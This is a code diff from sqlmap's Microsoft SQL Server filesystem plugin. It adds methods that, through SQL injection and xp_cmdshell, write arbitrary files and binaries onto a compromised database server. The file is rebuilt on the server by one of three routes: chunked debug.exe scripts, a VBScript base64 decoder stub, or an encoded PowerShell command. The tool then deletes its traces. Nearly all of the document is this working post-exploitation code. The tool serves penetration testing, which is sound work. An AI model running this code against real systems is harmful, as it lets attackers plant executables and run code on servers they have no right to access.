1616from lib .core .common import isTechniqueAvailable
1717from lib .core .common import posixToNtSlashes
1818from lib .core .common import randomStr
19+ from lib .core .common import readInput
20+ from lib .core .convert import hexencode
1921from lib .core .data import conf
2022from lib .core .data import logger
2123from lib .core .enums import CHARSET_TYPE
@@ -31,6 +33,55 @@ class Filesystem(GenericFilesystem):
3133 def __init__ (self ):
3234 GenericFilesystem .__init__ (self )
3335
36+ def __dataToScr (self , fileContent , chunkName ):
37+ fileLines = []
38+ fileSize = len (fileContent )
39+ lineAddr = 0x100
40+ lineLen = 20
41+
42+ fileLines .append ("n %s" % chunkName )
43+ fileLines .append ("rcx" )
44+ fileLines .append ("%x" % fileSize )
45+ fileLines .append ("f 0100 %x 00" % fileSize )
46+
47+ for fileLine in xrange (0 , len (fileContent ), lineLen ):
48+ scrString = ""
49+
50+ for lineChar in fileContent [fileLine :fileLine + lineLen ]:
51+ strLineChar = hexencode (lineChar )
52+
53+ if not scrString :
54+ scrString = "e %x %s" % (lineAddr , strLineChar )
55+ else :
56+ scrString += " %s" % strLineChar
57+
58+ lineAddr += len (lineChar )
59+
60+ fileLines .append (scrString )
61+
62+ fileLines .append ("w" )
63+ fileLines .append ("q" )
64+
65+ return fileLines
66+
67+ def __updateDestChunk (self , fileContent , tmpPath ):
68+ randScr = "tmpf%s.scr" % randomStr (lowercase = True )
69+ chunkName = randomStr (lowercase = True )
70+ fileScrLines = self .__dataToScr (fileContent , chunkName )
71+
72+ logger .debug ("uploading debug script to %s\%s, please wait.." % (tmpPath , randScr ))
73+
74+ self .xpCmdshellWriteFile (fileScrLines , tmpPath , randScr )
75+
76+ logger .debug ("generating chunk file %s\%s from debug script %s" % (tmpPath , chunkName , randScr ))
77+
78+ commands = ( "cd %s" % tmpPath , "debug < %s" % randScr , "del /F /Q %s" % randScr )
79+ complComm = " & " .join (command for command in commands )
80+
81+ self .execCmd (complComm )
82+
83+ return chunkName
84+
3485 def unionReadFile (self , rFile ):
3586 errMsg = "Microsoft SQL Server does not support file reading "
3687 errMsg += "with UNION query SQL injection technique"
@@ -120,78 +171,192 @@ def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
120171 errMsg += "UNION query SQL injection technique"
121172 raise sqlmapUnsupportedFeatureException (errMsg )
122173
123- def stackedWriteFile (self , wFile , dFile , fileType , confirm = True ):
124- # NOTE: this is needed here because we use xp_cmdshell extended
125- # procedure to write a file on the back-end Microsoft SQL Server
126- # file system. Maybe it won't be required to write text files
127- self .initEnv ()
174+ def __stackedWriteFilePS (self , tmpPath , wFileContent , dFile , fileType ):
175+ infoMsg = "using PowerShell to write the %s file content " % fileType
176+ infoMsg += "to file '%s', please wait.." % dFile
177+ logger .info (infoMsg )
128178
129- self .getRemoteTempPath ()
179+ randFile = "tmpf%s.txt" % randomStr (lowercase = True )
180+ randFilePath = "%s\%s" % (tmpPath , randFile )
181+ encodedFileContent = hexencode (wFileContent )
130182
131- debugMsg = "going to use xp_cmdshell extended procedure to write "
132- debugMsg += "the %s file content to file '%s'" % (fileType , dFile )
133- logger .debug (debugMsg )
183+ # TODO: need to be fixed
184+ psString = "$s = gc '%s';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %%{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('%s',$b)" % (randFilePath , dFile )
185+ psString = psString .encode ('utf-16le' )
186+ psString = psString .encode ("base64" )[:- 1 ].replace ("\n " , "" )
187+
188+ logger .debug ("uploading the file hex-encoded content to %s, please wait.." % randFilePath )
189+
190+ self .xpCmdshellWriteFile (encodedFileContent , tmpPath , randFile )
191+
192+ logger .debug ("converting the file utilizing PowerShell EncodedCommand" )
193+
194+ commands = ( "cd %s" % tmpPath ,
195+ "powershell -EncodedCommand %s" % psString ,
196+ "del /F /Q %s" % randFilePath )
197+ complComm = " & " .join (command for command in commands )
198+
199+ self .execCmd (complComm )
200+
201+ def __stackedWriteFileDebugExe (self , tmpPath , wFile , wFileContent , dFile , fileType ):
202+ infoMsg = "using debug.exe to write the %s " % fileType
203+ infoMsg += "file content to file '%s', please wait.." % dFile
204+ logger .info (infoMsg )
134205
135- debugSize = 0xFF00
136- tmpPath = posixToNtSlashes (conf .tmpPath )
137- dFile = posixToNtSlashes (dFile )
138206 dFileName = ntpath .basename (dFile )
207+ sFile = "%s\%s" % (tmpPath , dFileName )
139208 wFileSize = os .path .getsize (wFile )
140- wFilePointer = codecs .open (wFile , "rb" )
141- wFileContent = wFilePointer .read ()
142- wFilePointer .close ()
209+ debugSize = 0xFF00
143210
144211 if wFileSize < debugSize :
145- chunkName = self .updateBinChunk (wFileContent , tmpPath )
146- sFile = "%s\%s" % (tmpPath , dFileName )
212+ chunkName = self .__updateDestChunk (wFileContent , tmpPath )
147213
148- logger .debug ("moving binary file %s to %s" % (sFile , dFile ))
214+ debugMsg = "renaming chunk file %s\%s to %s " % (tmpPath , chunkName , fileType )
215+ debugMsg += "file %s\%s and moving it to %s" % (tmpPath , dFileName , dFile )
216+ logger .debug (debugMsg )
149217
150218 commands = ("cd \" %s\" " % tmpPath , "ren %s %s" % (chunkName , dFileName ), "move /Y %s %s" % (dFileName , dFile ))
151219 complComm = " & " .join (command for command in commands )
152220
153221 self .execCmd (complComm )
154222
155223 else :
156- infoMsg = "the %s file is bigger than %d " % (fileType , debugSize )
157- infoMsg += "bytes. sqlmap will split it into chunks, upload "
158- infoMsg += "them and recreate the original file out of the "
159- infoMsg += "binary chunks server-side, please wait.."
160- logger .info (infoMsg )
161-
162- counter = 1
224+ debugMsg = "the file is larger than %d bytes. " % debugSize
225+ debugMsg += "sqlmap will split it into chunks locally, upload "
226+ debugMsg += "it chunk by chunk and recreate the original file "
227+ debugMsg += "on the server, please wait.."
228+ logger .debug (debugMsg )
163229
164230 for i in xrange (0 , wFileSize , debugSize ):
165231 wFileChunk = wFileContent [i :i + debugSize ]
166- chunkName = self .updateBinChunk (wFileChunk , tmpPath )
232+ chunkName = self .__updateDestChunk (wFileChunk , tmpPath )
167233
168234 if i == 0 :
169- infoMsg = "renaming chunk "
235+ debugMsg = "renaming chunk "
170236 copyCmd = "ren %s %s" % (chunkName , dFileName )
171237 else :
172- infoMsg = "appending chunk "
238+ debugMsg = "appending chunk "
173239 copyCmd = "copy /B /Y %s+%s %s" % (dFileName , chunkName , dFileName )
174240
175- infoMsg += "%s\%s to %s\%s" % (tmpPath , chunkName , tmpPath , dFileName )
176- logger .debug (infoMsg )
241+ debugMsg += "%s\%s to %s file %s \%s" % (tmpPath , chunkName , fileType , tmpPath , dFileName )
242+ logger .debug (debugMsg )
177243
178244 commands = ("cd %s" % tmpPath , copyCmd , "del /F %s" % chunkName )
179245 complComm = " & " .join (command for command in commands )
180246
181247 self .execCmd (complComm )
182248
183- logger .info ("file chunk %d written" % counter )
184-
185- counter += 1
186-
187- sFile = "%s\%s" % (tmpPath , dFileName )
188-
189- logger .debug ("moving binary file %s to %s" % (sFile , dFile ))
249+ logger .debug ("moving %s file %s to %s" % (fileType , sFile , dFile ))
190250
191251 commands = ("cd %s" % tmpPath , "move /Y %s %s" % (dFileName , dFile ))
192252 complComm = " & " .join (command for command in commands )
193253
194254 self .execCmd (complComm )
195255
196- if confirm :
197- self .askCheckWrittenFile (wFile , dFile , fileType )
256+ def __stackedWriteFileVbs (self , tmpPath , wFileContent , dFile , fileType ):
257+ infoMsg = "using a custom visual basic script to write the "
258+ infoMsg += "%s file content to file '%s', please wait.." % (fileType , dFile )
259+ logger .info (infoMsg )
260+
261+ randVbs = "tmps%s.vbs" % randomStr (lowercase = True )
262+ randFile = "tmpf%s.txt" % randomStr (lowercase = True )
263+ randFilePath = "%s\%s" % (tmpPath , randFile )
264+
265+ vbs = """Dim inputFilePath, outputFilePath
266+ inputFilePath = "%s"
267+ outputFilePath = "%s"
268+ Set fs = CreateObject("Scripting.FileSystemObject")
269+ Set file = fs.GetFile(inputFilePath)
270+ If file.Size Then
271+ Wscript.Echo "Loading from: " & inputFilePath
272+ Wscript.Echo
273+ Set fd = fs.OpenTextFile(inputFilePath, 1)
274+ data = fd.ReadAll
275+ fd.Close
276+ data = Replace(data, " ", "")
277+ data = Replace(data, vbCr, "")
278+ data = Replace(data, vbLf, "")
279+ Wscript.Echo "Fixed Input: "
280+ Wscript.Echo data
281+ Wscript.Echo
282+ decodedData = base64_decode(data)
283+ Wscript.Echo "Output: "
284+ Wscript.Echo decodedData
285+ Wscript.Echo
286+ Wscript.Echo "Writing output in: " & outputFilePath
287+ Wscript.Echo
288+ Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile(outputFilePath, 2, True)
289+ ofs.Write decodedData
290+ ofs.close
291+ Else
292+ Wscript.Echo "The file is empty."
293+ End If
294+ Function base64_decode(byVal strIn)
295+ Dim w1, w2, w3, w4, n, strOut
296+ For n = 1 To Len(strIn) Step 4
297+ w1 = mimedecode(Mid(strIn, n, 1))
298+ w2 = mimedecode(Mid(strIn, n + 1, 1))
299+ w3 = mimedecode(Mid(strIn, n + 2, 1))
300+ w4 = mimedecode(Mid(strIn, n + 3, 1))
301+ If Not w2 Then _
302+ strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255))
303+ If Not w3 Then _
304+ strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255))
305+ If Not w4 Then _
306+ strOut = strOut + Chr(((w3 * 64 + w4) And 255))
307+ Next
308+ base64_decode = strOut
309+ End Function
310+ Function mimedecode(byVal strIn)
311+ Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
312+ If Len(strIn) = 0 Then
313+ mimedecode = -1 : Exit Function
314+ Else
315+ mimedecode = InStr(Base64Chars, strIn) - 1
316+ End If
317+ End Function""" % (randFilePath , dFile )
318+
319+ vbs = vbs .replace (" " , "" )
320+ encodedFileContent = wFileContent .encode ("base64" )[:- 1 ]
321+
322+ logger .debug ("uploading the file base64-encoded content to %s, please wait.." % randFilePath )
323+
324+ self .xpCmdshellWriteFile (encodedFileContent , tmpPath , randFile )
325+
326+ logger .debug ("uploading a visual basic decoder stub %s\%s, please wait.." % (tmpPath , randVbs ))
327+
328+ self .xpCmdshellWriteFile (vbs , tmpPath , randVbs )
329+
330+ commands = ( "cd %s" % tmpPath , "cscript //nologo %s" % randVbs ,
331+ "del /F /Q %s" % randVbs ,
332+ "del /F /Q %s" % randFile )
333+ complComm = " & " .join (command for command in commands )
334+
335+ self .execCmd (complComm )
336+
337+ def stackedWriteFile (self , wFile , dFile , fileType , confirm = True ):
338+ # NOTE: this is needed here because we use xp_cmdshell extended
339+ # procedure to write a file on the back-end Microsoft SQL Server
340+ # file system
341+ self .initEnv ()
342+
343+ self .getRemoteTempPath ()
344+
345+ tmpPath = posixToNtSlashes (conf .tmpPath )
346+ dFile = posixToNtSlashes (dFile )
347+ wFilePointer = codecs .open (wFile , "rb" )
348+ wFileContent = wFilePointer .read ()
349+ wFilePointer .close ()
350+
351+ self .__stackedWriteFileVbs (tmpPath , wFileContent , dFile , fileType )
352+
353+ sameFile = self .askCheckWrittenFile (wFile , dFile , fileType )
354+
355+ if sameFile is False :
356+ message = "do you want to try to upload the file with "
357+ message += "another technique? [Y/n] "
358+ choice = readInput (message , default = "Y" )
359+
360+ if not choice or choice .lower () == "y" :
361+ self .__stackedWriteFileDebugExe (tmpPath , wFile , wFileContent , dFile , fileType )
362+ #self.__stackedWriteFilePS(tmpPath, wFileContent, dFile, fileType)
0 commit comments